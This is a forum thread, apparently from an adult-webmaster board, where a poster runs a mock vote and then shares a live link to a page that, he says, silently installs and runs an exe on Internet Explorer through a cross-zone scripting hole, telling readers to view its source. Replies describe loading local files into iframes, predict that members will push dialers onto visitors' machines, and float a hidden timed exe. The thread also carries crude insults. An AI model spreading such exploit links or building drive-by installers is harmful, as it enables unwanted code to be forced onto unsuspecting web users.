Full Disclosure . Install EXE NO SECURITY I.E.
 

Ok well the news is out , but this isn't new.

Install exe of choice and run it, with no prompt's on i.e.


Should i disclose the info on gfy or let microcrap have a few more months to patch it ??? :)

10 yes votes gets it posted... ( theres no poll because i hate the icon )

bring it all here :thumbsup

Anyone with half a brain can figure that out. Keep it among the people who have half a brain please.

2nd vote.

Dont post it, we dont need more crap installed...

Geez, like not having it posted on GFY will keep it off the web... At least this way we'll know about it, hopefully we'll soon learn how to protect ourselves from it too.

Bring it on HarryHo.

Post it, cause whatever it is I wanna protect my ass against it :)

yes

This may be true , but people with 3/4 of a brain and ethics get screwed by the dumbshits with 0 brains and 0 ethics.

If i post it on gfy , everyone makes money for a week and they patch the holes faster. Levels the playing field

HarryHo = Smokey

something I'd like to know how to protect against so yes

Aye

I didnt say it would keep it off the web, of course it wont.
I just dont see the point, Just like you are going to make somekind of patch for it....

George Bush = Martin Luther King ( dont tell anyone , its a secret )

get to posting fucko

For the right remuneration, sure, I'll have a patch for you on the double. :)

Ok well thats 8 for yes and 2 for no , and if you count me ,myself and I , then i guess thats 10


OK be forewarned this only works for i.e. , and under certain conditions it may not run on new freshly patched machines,

This will install and execute one small exe file from external server


http://216.130.172.224/gfy/matrix.html

For instructions , view:source

Oh fuck it, the other one still works :1orglaugh

This'll die pretty quick.

Cool. :)

Post the source.

New market op... iframe blockers

:1orglaugh :1orglaugh

get a fucking grip on yourself.

you think you're the only one with the source code?

It's been posted. Not here, but it's been posted.

It, like this one takes steps to carry out a cross-zone scripting attack. It's more of a pain in the ass though. This one's alot smoother.

BTW all any of you had to do was go to bugtraq to get the source.

are you retarted ??? anyone with a view source has the source you fucking brain daid chimp

good thing nortons antivirus picked it up even though i only viewed the source in nutscrape :thumbsup

I bet most of the people won't be able to get the local file to load into the iframe though. I'm not about to tell them how either. Let's watch them figure it out.

It would be cool to make a bomb that hidetray exe that runs on a timer and pops a gfy owned thread with instructions to contact ms :) maybe a cool little flash program with sounds n shit.

yes

Lol m sure a few people are already installing dialers on surfers as we speak..

bad bad people :( :1orglaugh

The source doesn't say how to bypass the security zone :winkwink:

Maybe one or two people figured it out. The fact that you can't run it off geocities or another crappy free host is a deterrant too :winkwink:

:glugglug

:thumbsup :glugglug :ak47: